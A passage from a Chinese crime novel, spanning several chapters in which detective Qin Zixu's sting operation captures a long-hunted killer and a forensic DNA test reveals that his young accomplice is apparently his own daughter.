章弥真刚想问,电话再次挂断,章弥真立刻往指示的位置行去。汇林大厦要从西便门向北行,然后在巷口左转,走200米。而大厦的前面就有一个过街通道,这里算是一个比较重要的交通枢纽地带,上方是高架桥,车子在地面和高架上跑,地下则形成了相对比较复杂的行人过街通道。 不过,这个过街通道有些年头了,最近几个月正在翻修,几个出入口都被施工围挡阻拦,是走不了的,行人若想过马路,还得从路面上跟着引导走。 章弥真从大厦门口下了地下通道,本以为会被施工围挡阻拦,但这里的施工围挡不知何时被人开了一个口子,她于是硬是钻了进去。 地下通道里黑漆漆的,由于翻修,照明灯都没了,下来后就是一股刺鼻的建材气味,灰尘相当大。 章弥真小心地在黑暗中迈步,五感被调动到极致,一面快速让双眼适应黑暗,一面从口袋里摸出了秦梓需给她的战术手电。地下通道里空无一人,也见不到装潢工人,不知道是不是因为特殊情况还未开工。瓷砖地面上沙沙作响,都是装修落下的灰尘,走起来不由得有些打滑。 她动作缓慢地往3号红河路方向出口行去,刚拐到3号口,突然!她听见耳后传来了轻微的呼吸声,一只手臂已经从后环绕到了她的脖颈前,有什么东西正飞速地抵到了她的后腰。 情急之下,章弥真回忆起秦梓需、陈薇交给她的防身之法,第一时间竖起左臂格架在脖颈口鼻处,身子猛然前冲,顺势抬起右脚就向后撩踹。 啪的一下,她踹中了一个身体,听到了男人闷哼的声响。她短暂地脱离了对方从后而来的控制,有噼里啪啦的声响在她的后腰掠过,带起一股刺痛灼热之感。 她随即再次一脚踹向对方的下/体,但紧接着她的腿就被抱住了。章弥真失去平衡摔倒在地,这一摔反倒让对方的又一下挥来的电击再次落空。 章弥真仰倒在地,立刻用战术手电爆闪向对方,对方霎时抬手蒙眼,一时间动作迟滞。 章弥真借着爆闪光芒匆匆一眼,只看到对方穿着一身黑色长袖、长裤,戴着棒球帽和口罩,身材高大,手上戴着劳保手套。他手里拿着一个电击器,显然刚才是打算把她电晕了。 摆脱了腿部束缚的章弥真立刻从地上爬起来,一面连滚带爬的逃跑,一面张口就大喊“救命!” 男人气急败坏地在后追逐,他跑得极快,三步两步就追到了章弥真身后。章弥真故技重施,再次将手电爆闪向后晃,奈何她在逃命过程中,手电光准头太差了,很难对准男人的眼睛。 男人手里的电击/枪已经发出啪啪声响,对准章弥真的后脖颈就要捅过来,但不知是不是被刚才的爆闪伤了视觉,他现在处在一种目标难辨的状态,攻击路线出现了偏差,被章弥真惊险闪过。 此时两人的脚下都不大稳当,地上非常滑,章弥真跑起来跌跌撞撞,后面追逐的男人为了保持平衡,也很难打准目标。 周旋几个瞬息,几次电枪都打着她的发丝掠过,她好像嗅到了头发丝烧焦的味道。身后恐怖的压迫感几乎要让她的灵魂被挤压出窍,有那么几秒钟时间,她大脑宕机,根本不知道自己在做什么,完全是凭着本能在反抗、逃命。然而这地下通道好长,怎么跑都跑不出去。 若是换了一般人,在明知自己的体能全方位弱于凶徒的情况下,此时恐怕就要绝望了,可章弥真当年在叙利亚朝不保夕的时光,锻造了她坚韧的精神。 她的情绪一直没有彻底崩溃,因惊慌恐惧而短暂停摆的大脑也比一般人要更快地冷静下来,重新开始运转,此时她仍然没有放弃自救希望,反而脑子里在预演等会儿如何躲避对方的电击/枪,并学秦梓需的动作,用战术电筒的底端硬凸在他手腕狠狠戳一下,打掉他的电击/枪,再戳他眼睛,让他丧失战斗力。 电击/枪再次袭来,章弥真弓腰急转,向左侧躲,但却被长手长脚的凶徒一把抓住了。这下她想要再躲电击/枪就极其困难,后悔自己没有跟老秦学一点摔跤柔道。无奈之下,她胸中升起一团恶气,抓着战术电筒就往对方眼睛里戳,要和对方拼一个同归于尽。 就在这千钧一发之际,她突然听到了一声女子的暴呵,紧接着抓着她衣服的男人高大的身躯突兀地重重砸在了地上,并不停地抽搐起来。抓着她衣服的手也不自觉地松开了。 男人倒地的不远处,陈薇正端着警用泰瑟/枪,目光慑人地盯着他。泰瑟/枪的两束电击针头扎进了男人的后背里,针头后连着两条导线,连在枪身之中。他整个人僵倒在原地,强烈的灼痛使得他嘶嚎不已。 陈薇?章弥真疯狂喘气,说不出话来,但她认出了来人。 “弥真!你怎么样?”一个焦急的声音在陈薇身后传来,一个人影以极快地速度奔了过来,当她的面孔从黑暗里浮现,被地下空间里为数不多的光芒照亮时,章弥真身子一软,差点跌坐下去。 来人连忙上前扶住她,上下打量,查看她有没有受伤。 “老秦……”章弥真浑身不住地颤抖,死死拽着秦梓需胸口的衣服,面上倏无血色。 “哪里疼?”秦梓需还在问。 “老娘,没丢人吧。”她明明无比后怕,却还在说些嘴硬的话。 秦梓需哭笑不得,她张开怀抱,抱住了章弥真,一边安抚她后背,一边提醒陈薇: “没事了,没事了,陈薇,快给他铐上!” “是!”陈薇立刻上前,拿出手铐,将那男人的双手在身后铐上。同时用扎带将他的双脚也绑了,这下这人再也动弹不得,只能趴在地上,状若死鱼。此时她才拔掉了那扎进后背的电击针头。 秦梓需松开怀抱,走到了伏在地上的男人跟前蹲下身,摘了他的帽子,一把拉下他蒙在脸上的黑口罩,卢康安的面孔赫然呈现在眼前,此时的他口角流涎,额上青筋暴起,脸色青紫,面目显得十分狰狞。那一双布满血丝的眼睛直愣愣瞪着秦梓需,眼神诡异,竟渗出几分笑意。 秦梓需面无表情地看了下手表,轻声道:“8月4日8点零七分,逮捕犯罪嫌疑人卢康安。” 仿佛是为了响应她的这句话,地下通道内一下涌入了大批的警察,章弥真看到了谢云卿、刘明城等诸多熟悉的面孔,这一刻她不知飞去何处的三魂七魄才终于归位。 活着,可真好啊! 第74章 第七十四章 8月4日10点56分,医院急诊大厅,秦梓需等到了做完全身检查的章弥真走出来。 她在和卢康安搏斗的过程中,由于在踹踢时被卢康安抱住了大腿跌倒,挣扎甩脱时扭到了胯部,走路一瘸一拐的,且左大臂被卢康安大力抓握,有大片青淤。 医生检查完后,表示没什么大碍,开了点跌打损伤的外敷药,回去养一段时间就没事了。 “医生说我这伤还不如人家骑自行车摔伤的程度,他说这话时我可气坏了,他根本不知道我经历了什么。”章弥真一边吐槽,一边有些吃力地坐到了秦梓需身边,浑身陷入了一种无尽的疲惫之中。她的损伤不在身体,而在心灵。 “坐着等我一会儿。”秦梓需叮嘱一句,从她手里拿过药单,帮她去药房排队拿药。 等秦梓需回来,章弥真拽着她坐在医院的椅子上,一时不肯走。 “你这个家伙,你跟我老实从头交代,你做诱捕计划也就算了,怎么还不把全套计划都跟我说?计划分两层,我在第一层,你在第二层是吧?你知不知道我幼小纯洁的心灵受到了多大的伤害?”章弥真想要发火,而说出来的话却毫无气势,她实在是没力气发火了。 秦梓需的眸光中有歉疚,她深吸一口气,缓缓道: “是我对不起你,我确实没有把全套计划都跟你说。但这是一招险棋,我不得不这么做,你若是知道了,计划很可能会失败。” “你先告诉我,我妈怎么样?她在哪儿?”章弥真虽然早就确认了很多遍母亲没事,却还是不放心地向秦梓需再确认。 “阿姨很好,她人在市局,雪莹和枚姐她们都陪着她。”秦梓需道。 “那兽医抓住的到底是谁?” “特警女子大队的王队长,她四十多岁了,年龄上扮作你母亲不违和。我们让她遵从兽医的诱导去了你家。这个兽医反应很快啊,我们是在你家车库里逮捕她的,她当时正试图把特警队长塞进她的那辆金杯海狮里转移逃跑,当时她已经知道不妙了。” “兽医有伤害她吗?” “她没那个本事,王队长就算只有两只脚,都能对付她。而且侦查员都埋伏着呢,在她动手前,就被我们突击逮捕了。而且我们直接做了瞬时断网和信号屏蔽,没给她联系卢康安的机会,所以她被捕的时候,卢康安完全不知情。”秦梓需道。 章弥真长舒一口气:“太好了……没有人受伤。” 傻姑娘,你自己受伤了啊,秦梓需微微叹了口气。 “那猫呢?猫没事儿吧?”章弥真继续追问。 “受了点伤,没办法,猫笼里有窃听和电磁脉冲装置,刘为朗和吴岚他们不敢乱动,而且数媒中心的监控也被入侵了,如果拆除,很有可能会被兽医察觉出不对劲。所以为了让诱捕计划顺利进行,只能让猫受伤。好在伤得不重,紧急送到宠物医院救治了,休养一段时间就没问题。” “天啊……两个可怜的小家伙。”章弥真感到很揪心。 “没事的,别担心。” 章弥真缓了缓,才继续问:“那张排骨汤的照片?” “哦,是在市局的食堂里拍的,专门让食堂厨师做了一碗炸酱面,和排骨汤拍在一起,迷惑对方,让对方以为我还在韩国吃炸酱面。你加了兽医的微信,你的微信一直存在远程控制的风险,所以我推测兽医一直能绕开安全盾看到你微信里的内容。我知道你一定能认出那碗汤,也一定能明白我在暗示什么,但兽医很难猜出来。”秦梓需解释道。 “不过我没想到你竟然会联系耿剑秋,这一招确实很聪明,兽医对耿剑秋没防备,以为他已经退出调查了。耿剑秋的到来,间接加速了整个行动,也对兽医的心态造成了冲击,迫使她提前从你家出来了。” “嗨……我联系耿剑秋还是被兽医知道了,如果不是你们早就布局好了,恐怕我就真的栽了。”章弥真悻悻然,当时她能想到的不会暴露且能快速联系上的救援人员就只有耿剑秋了。 按照她所知道的计划,她当时以为秦梓需等人都埋伏在数媒中心附近,她根本不敢联系秦梓需等人,害怕破坏她们在数媒中心的诱捕计划。 …… 一切还要从秦梓需进入卢康安的家,看到了他房间中的书橱说起。他在书橱之上看到了BR冰淇淋的公仔摆件,发现了一本经常会被翻阅的书籍《罪与罚》。依据这两点,秦梓需揣测嫌疑人的心理——他已经在试图设局抓捕新的目标,这个目标与BR冰淇淋有关系,而凶手曾向章弥真送猫,可以推测,凶手已经在布子围剿章弥真。 于是秦梓需立刻回去找到章弥真,询问章弥真近段时间围绕那两只小猫到底发生了什么。得知章弥真委托兽医把猫送去了数媒中心后,秦梓需约吴岚和懂技术的刘为朗在外见面,给了他们一个检测设备,让他们回去后尽量隐蔽地检测当日兽医送来的所有东西,检测内部是否有暗中安置监听设备。 果不其然,他们在猫笼中查出了一个奇怪的设备,无摄像头,像是监听器,但又不止是监听器,因为其上有一个明显的天线,且是远程遥控的。后来经过市局技术确认,这很可能是个电磁脉冲装置。他们没有拆除设备,任由其留在笼中。 秦梓需推测,兽医之所以要在数媒中心安置这样一个设备,其目的是当然是为了监听数媒中心这里的动向,同时,也能在不进入数媒中心的情况下,对猫造成伤害。 之后嫌疑人可能打算等秦梓需一行人前往韩国后,挑选数媒中心无人的时机,利用电磁脉冲装置伤害猫,再以此诱骗章弥真出安全屋,让章弥真离开安全环境,落入陷阱之中。 但是要围捕猎物,首先就要锁定猎物。凶手该如何锁定章弥真的动向? 依据这个推测,秦梓需做出了一个更加惊人的判断,那就是我方仍然存在较高的监听风险。 虽然此前智能手机、平板和电脑等设备都做过全面检查,排除了隐患,并且安装了安全盾,可因为在那之后兽医和章弥真、吴岚都加了微信好友,且每天都有大量的数据、视频传输,很可能已经绕开安全盾远程控制章弥真的智能机,可以借此控制手机麦克风进行窃听和看到她手机里的内容。 由此,锁定猎物的步骤已经走完,凶手早就进入了拉网的阶段。 但这个计划似乎并不简单,凶手可能无法确定章弥真是否会为了猫铤而走险,但如果换成是她的母亲,答案则会变得非常笃定。因此绑架章母逼迫章弥真自投罗网,可能才是这个计划的真正核心,猫只是个幌子,且可一定程度上过滤仍然在保护章弥真的警察。 秦梓需将计就计,利用卢康安的计划做出一个螳螂捕蝉、黄雀在后的计划。在这个黄雀计划中,所有凶手安置在章弥真周边的监听设备,包括凶手原本预备用来诱使章弥真抵达数媒中心的猫,都是她们反向利用的工具。 她详细询问了陈薇、章弥真每天的日常行为,每一件事精确到分钟无一遗漏被她记录下来。陈薇早间出门半小时晨练的那段时间,就成了十分明显的真空时段,这个时段只有章弥真一人在家,且数媒中心也还没上班,应该是凶手设定好的最佳动手时间。 秦梓需联络了章弥真的母亲,说明情况,将她安排到了市局附近的酒店入住,保护起来。同时扫描了其母亲的脸模,利用特效化妆技术将特警女子大队的大队长打扮成了章弥真母亲的模样。 她的手艺,比卢康安的伪装技术要高超数倍。装扮出来的特警队长,和章弥真的母亲几乎没有差别。加之卢康安和兽医应该只看过章母的静态照片,从没见过真人,短时间内她很难区别出真伪。 接着,秦梓需让数媒中心的同事和章弥真都无意中透露出章弥真即将被转移到新的安全屋的假消息,给凶手制造不得不短期内动手的紧迫感。同一时间,公安那里又放出即将大部队赴韩调查的假消息,并给出了8月3日这个确切的时间点。 她会假装飞去韩国,并释放韩方可能已经找到丢失很久的证物,出国侦查人员会很快返回的假消息,迫使凶手在急迫的心态下立即开始他的计划。 另一头,秦梓需让章弥真在计划执行过程中,尽量不要接打电话,就算打了也不要说关键信息。如果在行动中不得不打电话发出声音,那么凶手从窃听到付诸行动,至少会有十分钟的时间差,这个十分钟时间差是救命时间,必须全力保命。 秦梓需推测的凶手会将“章母”诱骗到章弥真的新房中试试绑架,因为章弥真家的监视早就撤走了,此时那个地带是真空地带,反而不会被注意。 所以章弥真的新房是警方的重点布控地点,市局、分局的刑警们将毕生的伪装伏捕招数都拿出来了,彼时整个白水天城周边其实气氛极其紧张,可表面看上去根本察觉不到警察的存在。 同时,秦梓需假意在数媒中心设伏,让凶手以为警察已经上当。 而章弥真作为计划中最关键的人物,只知道秦梓需等人没去韩国、警方在数媒中心设伏抓捕凶手,并不知道这个计划的第二层,也就是她自己会以身为饵,诱卢康安现身。 但秦梓需其实早有暗示,在假装赴韩的那天早上,她将自己的战术手电留给章弥真防身,就已经是相当明显的暗示了。可惜章弥真当时没能完全领会,还以为秦梓需是担心过度。好在她把手电一直揣在身上,这战术手电在她与卢康安的战斗中发挥了极大作用。 之所以不能让章弥真知道第二层,就在于凶手极难欺骗,章弥真不是演员,一旦情绪上出现问题,或者行为上出现偏差,很可能会引发凶手怀疑,导致计划失败。 这就应了郭雅洁的那句话:事密则成,语泄则败,敏于事而慎于言。 而且,凶手有兽医这个同伙已经是确认的事实,凶手驱使兽医和章弥真联络,自己藏在更深更黑暗的地方。因此在假章母被绑后,警方才能确定兽医的位置,随即才能跟随章弥真确认卢康安的位置。 这个计划里,陈薇担负了极为重要的任务。陈薇当天假意出门晨练,实则需要跟在章弥真身后进行跟踪保护。秦梓需和其他刑警的躲藏位置就更隐蔽了,距离也更远。 在确认章弥真出门后,秦梓需担心她因为太过惊惧心态上出问题,冒着暴露的风险给她发了那个炸酱面和排骨汤的照片进行暗示,希望能安抚她的情绪。 陈薇也不能跟得太紧,否则很容易暴露。她还必须得等到卢康安现身才能动手,因此章弥真确实非常危险,她一定会和卢康安近距离接触。 这个计划成败与否,有八成系于章弥真的心态是否够稳,面对凶手时是否足够沉着冷静,能够与其周旋,拖延足够的时间。但情况瞬息万变,万一凶手下死手,又或出了什么意外情况,陈薇救援又不及时,章弥真可能会有性命之危,此计划的冒险程度可见一斑。 秦梓需也在豪赌,她赌的就是卢康安不会一上来就下死手,他会先尝试控制住章弥真。这个过程不会很短,章弥真短时间内不会有性命之危,而陈薇一定会来得及去制服凶手。 这就要提及秦梓需对凶手微妙心态的把握,她察觉到凶手对章弥真的异常执念,可能并非源于全部的恶意,至少从他的角度来说不是。虽然至今原因不明,但他似乎对章弥真抱有某种特别的情感。 秦梓需详详细细和章弥真解释了半个小时,说话说得口干舌燥,最后不得不去医院饮水机接了一纸杯的水喝。 她端着水回来时,章弥真似乎缓过来了,精神头好了不少。 她瞪着秦梓需道:“秦梓需,你好狠的心!想想也是挺可恨的。” 秦梓需手一抖,水洒了大半,全泼在她自己的鞋面上。 “哎呀,你抖啥?”章弥真忙起身,接过她手里的水杯,翻了个白眼道,“我都还没发抖呢,你倒抖起来了。” 秦梓需半晌没搭话,她抬眼一瞧秦梓需,见她神色越发难过,心道不好,忙解释道:“不是真恨你,诶呦,咋听不懂反话呢?我是想说,你瞒着我确实可恨,但你也确实把事儿做成了,很强!我很佩服你。” “我是真后怕,也是真后悔制定这个计划,万一……我确实太自私了……”秦梓需的眼眶红了,抬手捂脸,羞愧难当。 “没有万一啊,现在我好好的,所有人都好好的,凶犯落网了,皆大欢喜了,别的从没发生的事,别去想!”章弥真晃了晃她的肩膀,吐槽她,“舍不得孩子套不着狼,我章弥真最认这个理,没有高风险哪来的高收益?我可是把自己送去叙利亚战场的主儿,你这么做我没意见。怎么事儿都了了,你突然开始跟自己过不去了,真是的……” “计划执行前的那个晚上我一直没睡,复盘每一个细节,脑子里都出幻觉了,幻觉里你受了重伤,狠狠瞪着我,咬牙切齿地说恨我……” “呸呸呸!”章弥真气得将水一饮而尽,扭头就走,甩下一句话道,“别发癫了,我要去见我妈,你送我!” “哦,好。”秦梓需乖顺应道,随即上前扶住了她的手臂。 第75章 第七十五章(投雷加更No.8) 章弥真大劫一渡,第一件事就是去看自己的母亲。当她在市局见到母亲时,从来不怎么露骨表达感情的她,第一时间紧紧抱住了母亲,哭得像个孩子。母亲立刻落下泪来,哭了半晌,只埋怨了一句: “你这孩子,怎么总是这么让人担心!” “对不起,妈,对不起……”章弥真一腔委屈,最终还是需要母亲来抚慰。 “傻孩子……”章母心疼地捋着她脑后的长发,也不忍心再说什么了。 秦梓需在旁看着这一幕,鼻酸泪目,但心中颇感欣慰。逍遥法外十八年的凶手终于落网,不论如何,她总算能安心合眼了,至少安全问题不用担忧了。 “秦老师?你们回来了啊。”突然有人在她身后喊她,秦梓需一回头,看到了陈薇。 “陈薇,谢谢你!”秦梓需连忙上前,抓住了她肩膀。 “哈哈,举手之劳。我还是下手稍稍迟了点,不然那家伙都碰不着真姐。”陈薇笑道。 “接下来,你就要归队了?”秦梓需问。 “嗯,归队,继续训练。” “今晚有空吗?咱们请你吃个饭。”秦梓需道。 “今晚不行,有集训任务,改天吧。” “这么匆忙?” “没办法。” “好,下一次有空一定一起吃饭。” “替我向真姐问好。” 送走陈薇,秦梓需转头去看章弥真母女俩。此时她们情绪稍稍稳定,秦梓需这才上前,有些腼腆的跟章母打招呼: “阿姨,您好,我是秦梓需,章弥真初中时候的同学。” “哦,我记得你啊,你是年级第一,那会儿开家长会的时候我见过你作为学生代表在礼堂台上演讲呢。”章母很快认出了秦梓需,笑道。 秦梓需不好意思的笑,笑容中更有歉疚,她嗫嚅着道: “抱歉阿姨,是我让章弥真参与这个案子调查的,让你们遭遇危险,都是我的错。” “你们俩有什么错啊,错的不是犯罪分子吗?多可恶啊,听说还是你俩的同级学生?真可怕……”章母道。 “就是,错的是犯罪分子!我帮警察抓坏人,多光荣的事。”章弥真笑道。 “就你神气!”章母吐槽女儿,看来阿姨虽然嘴上不说什么,心里担惊受怕是没少的,还是有怨气。 章弥真吐了吐舌头,不敢再造次了。她向秦梓需使了个眼神,让她别再哪壶不开提哪壶,秦梓需看懂了,终于岔开话题: “你们累了吧,我送你们回家去。” “好,妈,今天我回老家跟您住。”章弥真撒娇道。 “你可别,你的房间里堆满了东西,我可懒得收拾,妈去你那儿吧。”章母道。 章弥真急忙看向秦梓需,眼神中充满惶急。今天章弥真的新家被兽医入侵,不仅被技术开锁,女特警队长被绑在她家地板上,后续还被耿剑秋一行人破门进入,估计这会儿家里一团糟还无人收拾呢,哪儿能住人啊。 “妈,没事,我还是回老家吧,我睡沙发也无所谓的。”章弥真道。 “那……好吧。”章母见女儿神色有异,也就答应了。 “诶,你熬的莲藕排骨汤,我都还没喝完呢,带回家去热一热,你也喝点。”章母又忙不迭去拿了保温桶,笑呵呵地挽住了女儿的胳膊。 往市局外去的路上,章弥真和章母耳语了几句,章母看着前方引路的秦梓需,点了点头。 秦梓需强打精神,将章家母女送回家。她已经三十多个小时没有合眼了,加上本来紧绷的精神松懈下来,疲倦如潮水般涌来,让她再也难以支撑。这会儿她已经属于疲劳驾驶,其实不该碰车的。为了不出事,她一路上开得比较谨慎,总算是安全无虞。 到地方后,母女俩却不肯下车,突然非要拉秦梓需上楼坐坐。秦梓需拗不过,被强行拉进家门,怀里又被强行塞了保温桶,要求她把莲藕排骨汤都喝了。 等她老老实实地喝完,母女俩已经为她准备好了所有洗漱用具,把她塞进了卫浴洗漱。 等她迷迷糊糊地洗完澡出来,章母房间的床已经为她铺好,母女俩把她强行安顿到了床上。 “我……还不能睡,还有很多事没做……” “你快给我睡!有什么事交给我,我给你当秘书行了吧。”章弥真强行没收了她的手机,把她关在了卧室里。 没多久,章弥真就听到了卧室里传来了秦梓需的鼾声,她觉得好笑,心想这人都累成什么样了,还逞强。 接下来,章弥真终于能安安心心洗澡、吃饭,舒舒服服地赖在沙发上看电视,再如何不成人形,母亲也不会说她什么。她脑子里几乎啥也不想,工作不存在的,连近期的案情、差点害了她性命的凶手、几个小时前的那场殊死搏斗,都神奇地从大脑中消失了。 外头阳光明媚,老家的院落里传来孩童嬉闹的笑声,无比闲适清静的一天,章弥真感觉上一回如此这般度日已难以回忆,早就模糊在了记忆深处。 她经历了无数次命悬一线的危难境遇,今日早上再次得脱大难,午后懒在沙发里,好像脑子里的执念突然松动了。 人这一辈子图什么呢?不就图个富足安稳、闲适快乐嘛,她过去的那些好强奋进确实是一个年轻人该有的样子,但回想起来,也是真累啊。 她到底在跟谁争强好胜呢?也许打从初中时遇见秦梓需这样一个永远赢不了的存在,必须胜利翻盘的执念就被种在了心中。一直潜移默化到了今天,造就了如今的自己。可这跟那个一定要杀人的凶手本质上似乎也没有太大区别,都是堕入了我执的迷障。 也许放过自己,反倒会否极泰来呢? 想着想着,终于还是睡着了,这一觉无梦黑甜。 …… 秦梓需、章弥真整整休了2天。到了8月5日,两人收到了谢云卿打来的复工邀请电话,在谢云卿的争取下,市局领导终于同意章弥真重新参与案件调查了。 而秦梓需也安全过关,虽然这次她的计划十分出格,好在有惊无险,抓到了凶犯。再加上校长李朔、省厅刘明城和刑侦支队长谢云卿的极力担保,公安督查以及纪委对她的违纪审查也告一段落。 在此期间,市局专门派人帮章弥真收拾被入侵的家,还帮忙更换了更安全的门锁,安装了门口的监控。市局领导也专程带了礼物上门慰问章母和章弥真,表达感激和歉意。 虽然卢康安和兽医落网,但案件还远远没到结束的时候。 直至此时,公安手中仍然尚未掌握卢康安犯下爆燃案、抛颅案和韩国案三个案件的决定性证据,目前证据链比较完整的是云南药山镇李家案,而袭击章弥真的案子是现行犯抓捕,犯罪未遂,个中情节明明白白,也不容抵赖。 如果只以李家案和章弥真案这两个案子来定罪,恐怕卢康安会被轻判。因为药山镇李家的案子,卢康安下毒蘑菇的过程没有被直接目击,虽然有被邻居目击到他打着花雨伞站在李家院子外,可关联性仍然比较薄弱。 且李富国的直接死亡原因是泥石流冲击,王永荷虽然遭到了极大的精神冲击,却并未死亡,以她现在的状况也很难指认卢康安。 章弥真同理,犯罪未遂,如果要以这两个案子公诉,应该只能判故意伤害罪。如果刑辩律师比较难搞,可能量刑会比较轻,在牢里待个10年就能出来了。 针对这个情况,秦梓需、章弥真复工第一天早上,市局就和检察院开了一个联合案情会,明确了一定要把爆燃案、抛颅案和韩国案三案的证据做扎实,让卢康安获得应有的死刑惩罚,绝不可姑息。 这个要求虽然理所应当,可对于陈年案情来说,实在是太难了。市局的压力很大,散会后,市局分管刑侦的范副局专门留了秦梓需、章弥真谈话,言辞恳切,希望二人能摈弃前嫌,尽快启程往韩国,找到丢失的关键证物。 “这个案子还得靠你们二位,别人查不明白。”范副局居然下了这么个断言,直接把秦梓需和章弥真架起来了。 秦梓需道:“您放心,我这趟回来就是为了了结案子的,不会抓了人我就撒手不管了。证据链不能做实,我睡觉都不会踏实。” 章弥真也表态:“作为新闻从业者,我当然希望我的报道不会半途而废。我和秦老师一样,这案子不彻底了结,我睡觉也不会踏实。” “好,有你们这几句话,我就放心了。”范副局露出了欣慰的笑容。 散会后,秦梓需和章弥真就拿到了公务护照,章弥真的公务护照还是加急办理的,看来领导也早就有所准备了。 “这下我不算食言了,说要带你去韩国的,我说到做到。”秦梓需举着护照本得意起来。 “切,老娘我自己的努力可占了一大半。”章弥真乜她,口气不爽。 “是是是,章大记者威武不屈,勇斗罪犯,英勇无畏,是盖世英豪!” 这可不是阴阳怪气,是发自肺腑的赞美。秦梓需这两天突然开启马屁模式,逮着机会就吹章弥真了不起。她不仅当着章弥真的面吹,在她背后也是逢人就说章弥真的好。 章弥真觉得这人其实真的挺顺眼的,而且是越来越顺眼了。 二人正插科打诨,李之枚却一脸古怪地来找她们了。 “有新情况,我还没跟领导报告,你们先过来看一下。” “怎么了?”章弥真的急性子难改,立刻追问。 李之枚似乎有些难以启齿,她迈步,领着两人往法医实验室去。 二人跟在她后头,等她的下文。好半晌,才听她道:“嗨……该怎么说呢,就是那个女兽医,我们没在她身上搜到身份证,也不知道她住在哪儿,她自从被逮捕后,一直沉默,根本不开口。卢康安跟她也是一般模样,油盐不进,怎么审都不开口,看来是早就打定主意一个字不说,预审说短时间内很难从这两人嘴里得到任何回答。 “卢康安的DNA、指纹我们拿到了,但因为我们手里没有邵彦华的DNA和指纹,还不能从生物层面确定他是邵彦华,好在我们找到了邵彦华初中时拍的一张侧面照,从他的耳廓耳纹做了确认,只是说服力不如DNA和指纹。另外就是女兽医,我们想确认她的身份,只能依靠DNA。 “我先给她做了一个骨龄、齿龄检测,然后结合染色体端粒情况,推测她的年纪应该在17岁左右,很年轻。这个年纪很符合邵彦华的妹妹邵紫涵的年纪。 “所以我就把卢康安,也就是邵彦华的DNA和女兽医的DNA做了一个亲缘关系鉴定,结果很奇怪,这两个人的X染色体相似度太高了。” 李之枚说到这里,秦梓需蹙起眉头,章弥真则有些迷惑,她回忆着高中时的生物知识,道:“他俩是同父异母的兄妹,女孩的XX染色体中,有一个X来自于父亲,男孩的X则来自于母亲,Y才来自于父亲。也就是说,同父异母的兄妹,X染色体必然不同。啊?怎么回事?” “卢康安,或者说邵彦华,是邵紫涵的亲生父亲。”秦梓需轻声说出了答案。 “……”章弥真惊呆了。 第76章 第七十六章 “不是,等会儿等会儿,X染色体一致能确定一定是父女吗?”章弥真问李之枚。 李之枚道:“能,常染色体STR位点检测技术,可以99.999%地确定父女关系。剩下的干扰因素诸如近亲结婚等在本案中可以不考虑。此外两人的线粒体DNA不一致,每个人的线粒体DNA均来自母亲,若两人线粒体DNA一致,则支持同母关系,现在来看他俩也不是同母异父的兄妹。所以一定是父女。” “可……怎么能确认女兽医就是邵紫涵呢?万一是邵彦华在外面跟别人生的女儿呢?邵紫涵是梅凝隽的女儿吧,她的XX里,有一个X来自于梅凝隽。”章弥真忙道。 李之枚道:“问题就在这里,我们不知道梅凝隽在哪儿,库里也没有她的DNA,所以暂时还不能确定这个女兽医的母亲就是梅凝隽。如果确定她的母亲是梅凝隽,那我们就能确认这个女兽医正是邵紫涵。” “如果真是邵紫涵……她是2003年生的,梅凝隽怀孕生产那会儿邵彦华才15、16岁吧,我去……我去,这太炸裂了!”章弥真经不住抓自己的头发。 此时李之枚已经带着她们进了法医办公室的门,她走到电脑前,指着上面的DNA匹配数据给二人看。 “库里有邵长生的DNA吗?”秦梓需问。 “也没有。”李之枚道。 “诶……找到邵长生和梅凝隽也是一大难事。”秦梓需轻叹了一声。 章弥真望她一眼,问道: “老秦,你好像一点也不惊讶啊?你早猜到了?” 秦梓需点头:“嗯,有所推测。邵彦华这么多年来犯下如此多罪行,都没有涉及到性侵,我觉得他在性这方面可能已经得到了某种满足。但他毕竟14岁就犯罪了,此后一直过着隐藏身份的生活,他身边不大可能会有固定的女性伴侣,招/嫖则有暴露身份的风险,他的欲望该如何得到释放? “而且他在速联网络打工的那段时间,接触了大量的黄色影片,我总觉得这应该对他产生了不可磨灭的恶劣影响。恰好在那段时间,梅凝隽出现了,而且还很有可能在爆炸案里藏匿了邵彦华,我觉得他们俩的关系很不一般。” “邵长生知道邵紫涵不是自己的女儿,而是孙女吗?他要是知道了,不得抓狂?”章弥真心里直犯嘀咕。 “所以,邵长生很可能已经不在世了。对邵彦华来说,父亲已经很难成为他的保护伞,反而成为了威胁,以他的性格做派,弑父也在情理之中。”秦梓需道。 “这什么恶心的家庭伦理大戏啊……”章弥真不禁吐槽道。 “这扭曲的关系……一家人的精神状态估计都堪忧,如果梅凝隽还活着,那邵彦华、邵紫涵被捕,她很可能会陷入绝望,说不定会自我了断。得尽快找到她,她也是关键证人。”秦梓需道。 三人立刻将这个情况向谢云卿作了报告,谢云卿本来就一直在派人查找梅凝隽,听到这么个炸裂的消息,惊得说话都不连贯了。 “还有这种事,我的天……那个,我要说啥来着,对了!你提到梅凝隽,我们这两天一直在找呢,也算有成果。 “侦查员问遍了所有当年螺丝拐弯巷的老街坊,终于问到了。一个叫做丽琴裁缝铺的店,店主是个叫做王丽琴的中年女人,纺织厂下岗后开了这么一间铺子做点针线生意,给街坊缝制床单、被套、衣裙、撬裤脚之类的,确实时常会招一些外地女孩做工。虽然是正经生意,可很多街坊都说看到她家从事一些不干净的皮肉生意,说老板娘经常和一些陌生男人眉来眼去,而且她们家二层阁楼里老是传来一些奇怪的声音。 “我们找到了这个王丽琴,她现在年纪也很大了,一个人在老房子里独居。我们问她记不记得梅凝隽,她说不记得,但侦查员说看她的神色有点慌张,她很可能撒谎了。老太脾气比较倔,我刚派了女刑警过去,打算柔性感化一下,看能不能问出来。” “行。另外,谢支,我想去看守所见一见卢康安和女兽医,您看能不能安排一下。”秦梓需道。 “没问题,这俩的嘴上真是铁将军把门啊,预审科的老沈都直摇头。不知道秦老师能不能撬开他们的嘴。” 秦梓需没给承诺,转而问:“你们去查了章弥真家楼下的宠物医院,有结果了吗?” 谢云卿道:“有,他们说根本不认识女兽医,也没有聘用过她。这事儿是这样的,宠物医院的老板的微信被女兽医远程控制了,在加微信的过程中,李之枚加的其实不是老板,而是女兽医的伪装号。同理,老板加上的也不是李之枚,也是女兽医的伪装号。她两头骗,假冒成宠物医院的兽医,利用那两只猫来实施诱骗计划。 “据宠物医院的老板说,是‘章弥真’委托女兽医把猫带走了,这当然是她伪造的假消息,宠物医院的人上当了。 